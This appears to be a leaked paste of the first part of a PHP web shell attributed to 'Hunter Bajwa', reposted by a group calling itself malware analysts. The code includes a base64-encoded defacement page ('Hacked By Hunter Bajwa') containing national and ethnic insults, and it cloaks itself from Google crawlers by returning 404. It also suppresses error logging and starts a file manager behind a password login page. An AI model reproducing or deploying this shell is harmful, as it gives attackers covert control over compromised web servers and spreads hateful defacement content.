· 8 years ago · Dec 06, 2017, 08:04 PM
1Leaked by : PELITABANGSA .CA
2[ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
3<?php
4/*
5 //++++++++======= Shell Made By Hunter Bajwa :) =======++++++++ //
6 //++++++++======= Special Thanks to: =======++++++++ //
7
8 https://www.facebook.com/HunterBajwaOfficial/
9 https://www.facebook.com/BlackLeets1337/
10
11 // Hope You Dont Edit iT :) //
12*/
13$auth_pass= ""; //Guess iT :V :v :V
14$deface = 'CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KCjxoZWFkPgoJPHRpdGxlPkhhY2tlZCBCeSBIdW50ZXIgQmFqd2E8L3RpdGxlPgoJPGVtYmVkIHNyYz0iW2NvbG9yPSNGRjAwMDBdaHR0cHM6Ly93d3cueW91dHViZS5jb20vdi9sQnVMVWlkUjlyMCZhdXRvcGxheT0xWy9jb2xvcl0iIHR5cGU9ImFwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIiB3bW9kZT10cmFuc3BhcmVudCB3aWR0aD0xIGhlaWdodD0xPjwvZW1iZWQ+Cgk8bGluayByZWw9IlNIT1JUQ1VUIElDT04iIGhyZWY9Imh0dHA6Ly93d3cuaWNvbnNkYi5jb20vaWNvbnMvZG93bmxvYWQvYmxhY2svc2t1bGwtNjEtMTI4LmljbyIgdHlwZT0iaW1hZ2UvZ2lmIj4KCTxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KCTxtZXRhIG5hbWU9IkF1dGhvciIgY29udGVudD0iLi9IdW50ZXJfQmFqd2Egd2FzIEhlcmUhISEiLz4KCTxtZXRhIG5hbWU9ImNvcHlyaWdodCIgY29udGVudD0iLi9IdW50ZXJfQmFqd2Egd2FzIEhlcmUhISEiLz4KCTxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJXZWJzaXRlIFB3bmVkIGJ5IEh1bnRlciBCYWp3YSIvPgoJPGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZDo0MDAsNzAwJyByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJz4KCTxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUljZWxhbmQ6NDAwLDcwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+Cgk8bWV0YSBwcm9wZXJ0eT0ib2c6aW1hZ2UiIGNvbnRlbnQ9IiI+CiAgCQk8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoJCQlib2R5IHsKCQkJCW92ZXJmbG93OmhpZGRlbjsKCQkJCWJhY2tncm91bmQtaW1hZ2U6dXJsKCcnKTsKCQkJCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7CgkJCQliYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7CgkJCQliYWNrZ3JvdW5kLXNpemU6IDEwMCUgOwoJCQkJYmFja2dyb3VuZC1wb3NpdGlvbjp0b3AgY2VudGVyOwoJCQkJbWFyZ2luOiAwcHg7CgkJCQljdXJzb3I6bm9uZTsKCQkJCWZvbnQtZmFtaWx5OiBJY2VsYW5kLCBzYW5zLXNlcmlmOwoJCQl9CgkJCWF7CgkJCQl0ZXh0LWRlY29yYXRpb246IG5vbmU7CgkJCX0KCQkJaDF7CgkJCWZvbnQtZmFtaWx5OiBJY2VsYW5kLCBzYW5zLXNlcmlmOwoJCQlmb250LXNpemU6OTBweDsKCQkJY29sb3I6I2ZmZjsKCQkJbWFyZ2luOjBweCAwcHggMHB4OwoJCQkKCQkJfQoJCQloMnsKCQkJZm9udC1mYW1pbHk6IEljZWxhbmQsIHNhbnMtc2VyaWY7CgkJCWZvbnQtc2l6ZTo0MHB4OwoJCQljb2xvcjojMDAwOwoJCQltYXJnaW46IDBweDsKCQkJdGV4dC1zaGFkb3c6IDAgMCAzcHggI2ZmZjsKCQkJCgkJCX0KCQkJcHsKCQkJY29sb3I6IzAwMDsKCQkJZm9udC1zaXplOjI1cHg7CgkJCW1hcmdpbjogMHB4OwoJCQl0ZXh0LXNoYWRvdzogMCAwIDNweCAjZmZmOwoKCQkJfQoJCQkuZm90ewoJCQlmb250LWZhbWlseTogSWNlbGFuZCwgc2Fucy1zZXJpZjsKCQkJZm9udC1zaXplOjE0cHg7CgkJCWNvbG9yOiNmZmY7CgkJCW1hcmdpbjogMHB4OwoJCQl0ZXh0LXNoYWRvdzogMCAwIDNweCAjMDAwLCAwcHggMHB4IDVweCAjMDAwOwoJCQl9CgkJCSBoMXsKCQkJY29sb3I6IzAwMDsKCQkJdGV4dC1zaGFkb3c6IDAgMCA1cHggI2ZmZjsKCQl9CgkJLmdyZWV0c3sKCWZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsKCWxpbmUtaGVpZ2h0OiAyNHB4OwoJZm9udC1zaXplOiAxMXB4OwoJd2lkdGg6IDUwJTsKCWJhY2tncm91bmQ6ICMwMDA7CglvcGFjaXR5OiAwLjk7Cgl0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOwoJei1pbmRleDogOTk5OTsKCWJvcmRlci1yYWRpdXM6MTBweDsKCS1tb3otYm94LXNoYWRvdzogMXB4IDBweCAycHggIzAwMDsKCS13ZWJraXQtYm94LXNoYWRvdzogMXB4IDBweCAycHggIzAwMDsKCWJveC1zaGFkb3c6IDFweCAwcHggMnB4ICMwMDA7Cn0KCQk8L3N0eWxlPgoJPC9oZWFkPiAKCTxkaXYgaWQ9IkkzMDFfaHRtbCI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPnNldFRpbWVvdXQoIiQoJyNsb2FkaW5nJykuZmFkZU91dCg1MDAwKTsiLCAxMDAwMCk7ICA8L3NjcmlwdD4KCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+I2xvYWRpbmd7cG9zaXRpb246Zml4ZWQ7dG9wOjA7bGVmdDowO3BhZGRpbmctdG9wOjBweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtjb2xvcjpibGFjazt6LWluZGV4OjkwMDA7b3ZlcmZsb3c6aGlkZGVuO308L3N0eWxlPgogCjxkaXYgaWQ9ImxvYWRpbmciPgo8Ym9keSBvbmxvYWQ9ImRvY3VtZW50LmYucC5mb2N1cygpIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIGJnY29sb3I9IiMwMDAwMDAiIG1hcmdpbmhlaWdodD0iMCIgbWFyZ2lud2lkdGg9IjAiPgo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMiIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4KPHRib2R5Pjx0cj4gCgoKPC90cj4KCQo8dHI+CgoKCjwvdHI+CjwvdGJvZHk+PC90YWJsZT4gCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIj4KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9MDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjxzY3JpcHQ+CmZ1bmN0aW9uIGRpc2FibGVzZWxlY3QoZSl7cmV0dXJuIGZhbHNlfQoKZnVuY3Rpb24gcmVFbmFibGUoKXtyZXR1cm4gdHJ1ZX0KCi8vaWYgSUU0Kwpkb2N1bWVudC5vbnNlbGVjdHN0YXJ0PW5ldyBGdW5jdGlvbiAoInJldHVybiBmYWxzZSIpCgovL2lmIE5TNgppZiAod2luZG93LnNpZGViYXIpewpkb2N1bWVudC5vbm1vdXNlZG93bj1kaXNhYmxlc2VsZWN0CmRvY3VtZW50Lm9uY2xpY2s9cmVFbmFibGUKfQo8L3NjcmlwdD4KPHNjcmlwdD4KdmFyIG1lc3NhZ2U9IiI7CmZ1bmN0aW9uIGNsaWNrSUUoKQoKe2lmIChkb2N1bWVudC5hbGwpCnsobWVzc2FnZSk7cmV0dXJuIGZhbHNlO319CgpmdW5jdGlvbiBjbGlja05TKGUpIHsKaWYKKGRvY3VtZW50LmxheWVyc3x8KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkJiYhZG9jdW1lbnQuYWxsKSkKewppZiAoZS53aGljaD09Mnx8ZS53aGljaD09MykgeyhtZXNzYWdlKTtyZXR1cm4gZmFsc2U7fX19CmlmIChkb2N1bWVudC5sYXllcnMpCntkb2N1bWVudC5jYXB0dXJlRXZlbnRzKEV2ZW50Lk1PVVNFRE9XTik7ZG9jdW1lbnQuICBvbm1vdXNlZG93bj1jbGlja05TO30KZWxzZQp7ZG9jdW1lbnQub25tb3VzZXVwPWNsaWNrTlM7ZG9jdW1lbnQub25jb250ZXh0bWVudSAgPWNsaWNrSUU7fQoKZG9jdW1lbnQub25jb250ZXh0bWVudT1uZXcgRnVuY3Rpb24oInJldHVybiBmYWxzZSIpCjwvc2NyaXB0PgoKPHRhYmxlIHN0eWxlPSIgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsiICBhbGlnbj0icmlnaHQiIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiID4KCjxicj4KCjx0Ym9keT48dHI+Cjx0ZCAgdmFsaWduPSJ0b3AiPjxwIGlkPSJoYWNrIiA+Cgo8YnIgLz4KPGJyPgo8Zm9udCBjb2xvcj0iR3JlZW4iPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8Yj5bK11IdW50ZXIgQmFqd2Egd2FzIEhlcmUhISAgICAgICAgPC9mb250PiA8YnI+Cjxmb250IGNvbG9yPSJHcmVlbiI+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxiPlsrXURlYXIgTXIuQWRtaW5pc3RyYXRvciAgIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSJHcmVlbiI+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxiPlsrXVBsZWFzZSBQYXRjaCB5b3VyIFN5c3RlbTwvZm9udD48YnI+Cjxmb250IGNvbG9yPSJHcmVlbiI+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxiPlsrXSB+IC4vSHVudGVyX0JhandhICAgICAgICA8L2ZvbnQ+IDxicj4KCQkJCQkgPGZvbnQgY29sb3I9IkdyZWVuIj4gCgkKICAgICAgICAgIAo8L3A+PC90cj4KPC90Ym9keT48L3RhYmxlPiAgICAgICAgICAgICAgICAgPC9kaXY+IAo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDUwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CgogICAgPHN0eWxlPiAKIAogICAgICB0ZAogCiAgICAgIHsKIAogICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7CiAKICAgICAgICBmb250LWZhbWlseTogQ291cmllciBOZXc7CiAKICAgICAgICBmb250LXNpemU6MjBweDsKIAogICAgICAgIGNvbG9yOiMwMDAwMDA7CiAKICAgICAgICBib3JkZXItY29sb3I6ICMwMDAwMDA7CiAKICAgICAgICBib3JkZXItd2lkdGg6MXB0OwogCiAgICAgICAgYm9yZGVyLXN0eWxlOnNvbGlkOwogCiAgICAgICAgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlOwogCiAgICAgICAgcGFkZGluZzowcHQgM3B0OwogCiAgICAgICAgdmVydGljYWwtYWxpZ246dG9wOwogCiAgICAgIH0KIAogICAgICB0YWJsZQogCiAgICAgIHsKIAogICAgICAgIGJvcmRlci1jb2xvcjogIzg4YWFjZTsKIAogICAgICAgIGJvcmRlci13aWR0aDowcHQgMXB0OwogCiAgICAgICAgYm9yZGVyLXN0eWxlOmRhc2g7CiAKICAgICAgfQogCiAgICAgIEE6TGluaywgQTpWaXNpdGVkCiAKICAgICAgewogCiAgICAgICAgY29sb3I6ICM4OGFhY2U7CiAKICAgICAgfQogCiAgICAgIEEubm86TGluaywgQS5ubzpWaXNpdGVkCiAKICAgICAgewogCiAgICAgICAgY29sb3I6ICM4OGFhY2U7CiAKICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAKICAgICAgfQogCiAgICAgIEE6SG92ZXIsIEE6VmlzaXRlZDpIb3ZlciAsIEEubm86SG92ZXIsIEEubm86VmlzaXRlZDpIb3ZlcgogCiAgICAgIHsKIAogICAgICAgIGNvbG9yOiAjODhhYWNlOwogCiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjojMmUyZTJlOwogCiAgICAgICAgdGV4dC1kZWNvcmF0aW9uOgogCiAgICAgICAgb3ZlcmxpbmUgdW5kZXJsaW5lOwogCiAgICAgIH0KIAogICAgICAuc3R5bGUxCiAKICAgICAgewogCiAgICAgICAgY29sb3I6ICM4OGFhY2UKIAogICAgICB9CiAKICAgICAgLnN0eWxlMgogCiAgICAgIHsKIAogICAgICAgIGNvbG9yOiAxZjFmMWYKIAogICAgICB9CiAKICAgICAgYm9keQogCiAgICAgIHsKIAogICAgICAgIGNvbG9yOndoaXRlOwogICAgICAgICAKICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOnJpZ2h0OwogCiAgICAgICAgYmFja2dyb3VuZC1hdHRhY2htZW50OmZpeGVkOwogCiAgICAgICAgPC9kaXY+CiAKICAgICAgfQogCiAgICA8L3N0eWxlPgogICAgICAgIAogCjwvZGl2PgoKPC9kaXY+Cjxib2R5IG9uY29udGV4dG1lbnU9InJldHVybiBmYWxzZSIgb25rZXlkb3duPSJyZXR1cm4gZmFsc2UiPgo8Y2VudGVyPgo8aDIgY2xhc3M9Imdsb3ciPkhhY2tlZCBCeSBIdW50ZXIgQmFqd2E8L2gyPgo8aW1nIHNyYz0iaHR0cHM6Ly9pLndhcm9zdS5vcmcvZGF0YS9zY2kvaW1nLzAwNzQvMjkvMTQzODE5OTgzMDAxNi5wbmciIHdpZHRoPSIyMCUiPgo8aDIgY2xhc3M9Imdsb3cyIiA+Ljo6VGVhbSBCbGFja0xlZXRzOjouPGJyPiA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vQmxhY2tMZWV0czEzMzcvIj5PZmZpY2lhbCBQYWdlIDwvYT48YnI+PGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0h1bnRlckJhandhT2ZmaWNpYWwvIj5IdW50ZXIgQmFqd2EgT2ZmaWNpYWwgUGFnZSA8L2E+PC9wPjwvYj48L2gyPgo8cD48Yj5Zb3VyIFNpdGUncyBTZWN1cml0eSBIYXMgQmVlbiBGVUNLRUQgPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OkljZWxhbmQ7Y29sb3I6cmVkO3RleHQtc2hhZG93OnJlZCAwcHggMHB4IDNweCI+Li9IdW50ZXIgQmFqd2EgPC9zcGFuPgoJCQkjTWlzc2lvbl9ZZXMtVG9pbGV0cyA8Zm9udCBzdHlsZT0iY29sb3I6cmVkO3RleHQtc2hhZG93OiMwMDAgMHB4IDBweCAzcHgiPkVuZ2FnZWQ8L2ZvbnQ+IFRoYXQgb25lIHBvb3IgY291bnRyeSB3aXRoIGdheSBmb3VuZGVyLiBUaGF0IG9uZSBQb29yIENvdW50cnkgd2l0aCBDaG90aSBDaG90aSBMdWxpeWFhbiAoR09vZ2xlIGl0KQpUaGF0IG9uZSBQb29yIENvdW50cnkgd2l0aCBzdHVwaWQgUHJpbWUgTWluaXN0ZXIgKEdvb2dsZSBpdCkuClRoYXQgb25lIHBvb3IgY291bnRyeSB3aG8gY2FuJ3QgQWZmb3JkIHNuYXBjaGF0IDpWClRoYXQgb25lIHBvb3IgY291bnRyeSB3aXRoIGNoYWlsd2FsYSBwbS4KdGhhdCBvbmUgcG9vciBjb3VudHJ5IHBlb3BsZSB3aG8gcG9vcCBvbiByYWlsd2F5cyA6VgoKCgkJICAgIDwvcD4KCQk8L3NwYW4+CgkJCTxkaXYgc3R5bGU9ImZvbnQtc2l6ZToxMHB4O2NvbG9yOmdvbGQ7dGV4dC1zaGFkb3c6Z3JleSAwcHggMHB4IDNweCI+CgkJPHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OkljZWxhbmQ7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjojZmZmZmZmIj48cD5+U0VDVVJJVFkgSVMgSlVTVCBBTiBJTExVU0lPTn48L3A+PC9zcGFuPgoJPC9kaXY+CiAKPGRpdiBjbGFzcz0iZ3JlZXRzIj4KPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9IjAiPgo8dHI+Cjx0ZCB3aWR0aD0xMDAlIGlkPWdyZWV0ej4KPG1hcnF1ZWUgYmVoYXZpb3I9InNjcm9sbCIgZGlyZWN0aW9uPSJsZWZ0IiBzY3JvbGxhbW91bnQ9IjQiIHNjcm9sbGRlbGF5PSI1NSIgd2lkdGg9IjEwMCUiPgo8Zm9udCBzaXplPSI1cHgiIHN0eWxlPSJmb250LWZhbWlseTogSWNlbGFuZCwgc2Fucy1zZXJpZjtjb2xvcjpibGFjazt0ZXh0LXNoYWRvdzogMCAwIDNweCByZWQsIDBweCAwcHggNXB4IHJlZCIgPgo8Yj4tPXwgR3JlZXR6IHRvIHxIdW50ZXIgQmFqd2EgfHwgUmpfZDN8fCBYYW0gM3hQbG9pVGVSIHx8ICBCbGFja2hhdHRpZ2VyIHx8IEh1bnRlciBNYWZpYSBEb24gfCBEMyBEYXNpbiB8fCBMM0czbkQgSyExMTNSIHx8IFJASDMzTV9IYXhvciB8Li4uIEFuZCBBbGwgUGFraXN0YW5pIEhhY2tlcnMgundefinedCB8PC9mb250Pgo8L21hcnF1ZWU+CjwvdGQ+CjwvdGFibGU+PC9kaXY+IAo8ZGl2IGNsYXNzPSJmb3QiPgpDb3B5cmlnaHRzICZjb3B5OyBINElEM3IKPC9kaXY+CjwvY2VudGVyPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Ci8vPCFbQ0RBVEFbCihmdW5jdGlvbigpIHsKdmFyIF9hbmFseXRpY3Nfc2NyID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7Cl9hbmFseXRpY3Nfc2NyLnR5cGUgPSAndGV4dC9qYXZhc2NyaXB0JzsgX2FuYWx5dGljc19zY3IuYXN5bmMgPSB0cnVlOyBfYW5hbHl0aWNzX3Njci5zcmMgPSAnL19JbmNhcHN1bGFfUmVzb3VyY2U/U1dKSVlMV0E9Mjk3N2Q4ZDc0ZjYzZDdmOGZlZGJlYTAxOGI3YTFkMDUmbnM9MSc7CnZhciBfYW5hbHl0aWNzX2VsZW0gPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2NyaXB0JylbMF07IF9hbmFseXRpY3NfZWxlbS5wYXJlbnROb2RlLmluc2VydEJlZm9yZShfYW5hbHl0aWNzX3NjciwgX2FuYWx5dGljc19lbGVtKTsKfSkoKTsKLy8gXV0+Cjwvc2NyaXB0PjwvYm9keT4='; //deface in base64.
15 //Change Shell Theme here//
16$color = "#ABEFFF"; //Fonts color modify here.
17$Theme = '#09B5A6'; //Change border-color accoriding to your choice.
18$TabsColor = '#0E5061'; //Change tabs color here.
19$default_action = 'FilesMan';
20@define('SELF_PATH', __FILE__);
21if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
22 header('HTTP/1.0 404 Not Found');
23 exit;
24}
25
26@session_start();
27@error_reporting(0);
28@ini_set('error_log',NULL);
29@ini_set('display_errors',0);
30@ini_set('log_errors',0);
31@ini_set('max_execution_time',0);
32@set_time_limit(0);
33@set_magic_quotes_runtime(0);
34if( get_magic_quotes_gpc() ) {
35 function stripslashes_array($array) {
36 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
37 }
38 $_POST = stripslashes_array($_POST);
39}
40
41function HunterBajwalogin() {
42 die ('<!DOCTYPE html>
43<html>
44 <head>
45 <title>Hunter Bajwa</title>
46 <meta charset="UTF-8">
47 <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
48 <meta name="description" content="Sites description">
49 <meta name="about" content="Made By Hunter Bajwa">
50 <link href="http://i.imgur.com/wJDvuRs.png" rel="Shortcut Icon" />
51 <meta name="description" content="For Logging into the system">
52 <style>
53 .body {
54 margin-top: 7vh;
55 text-transform: capitalize;
56 background: black url("http://i.imgur.com/vRlLG1T.jpg");
57 background-repeat:no-repeat;
58 background-position: center;
59 background-attachment: fixed;
60 -webkit-background-size: cover;
61 -moz-background-size: cover;
62 -o-background-size: cover;
63 background-size: cover;
64 }
65 .font {
66 font-family: calibri;
67 font-size: 300%;
68 text-align: center;
69 color: white;
70 }
71 .upass {
72 margin-top: 70vh;
73 font-family: calibri;
74 font-size: 100%;
75 text-align: center;
76 color: black;
77 }
78 .input {
79 margin:0;background-color:black;border:1px solid black;
80 }
81 </style>
82 <script language="JavaScript1.2">
83 function ejs_nodroit(){
84 alert("Login Please!");
85 return(false);
86 }
